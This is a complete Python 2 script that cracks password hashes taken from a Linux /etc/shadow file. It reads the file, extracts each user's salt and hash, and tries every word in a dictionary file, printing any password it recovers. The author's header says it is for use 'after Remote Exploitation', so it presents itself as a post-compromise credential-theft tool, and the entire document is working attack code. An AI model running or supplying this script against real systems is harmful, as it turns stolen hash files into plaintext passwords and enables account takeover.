#/etc/shadow Bruteforcer
#Coded by Aaditya Purani
#Just for Fun after Remote Exploitation
#It will crack shadow password by Dictionary attack

import optparse
import crypt

def checkPass(cryptPass, dname):
	salt = "$"+cryptPass.split('$')[1]+"$"+cryptPass.split('$')[2]
	dictFile = open(dname, 'r')
	for word in dictFile.readlines():
		word = word.strip('\n')
		cryptWord = crypt.crypt(word, salt)
		if (cryptWord == cryptPass):
			print "[+] The Password is "+word+"\n"
			return
	print "[-] Password not found \n"
	return


def main():
	parser = optparse.OptionParser("usage %prog "+"-f <passwordFile> -d <dictionary>")
	parser.add_option('-f', dest='pname', type='string', help='specify password file')
    	parser.add_option('-d', dest='dname', type='string', help='specify dictionary file')
    	(options, args) = parser.parse_args()
	if (options.pname == None) | (options.dname == None):
        	print parser.usage
        	exit(0)
        else:
        	pname = options.pname
        	dname = options.dname

	passFile = open(pname)
	for line in passFile.readlines():
		if ":" in line:
			user = line.split(':')[0]
			cryptPass = line.split(':')[1]
			print "[*] Cracking Password for "+user
			checkPass(cryptPass, dname)

if __name__ == '__main__':
	main()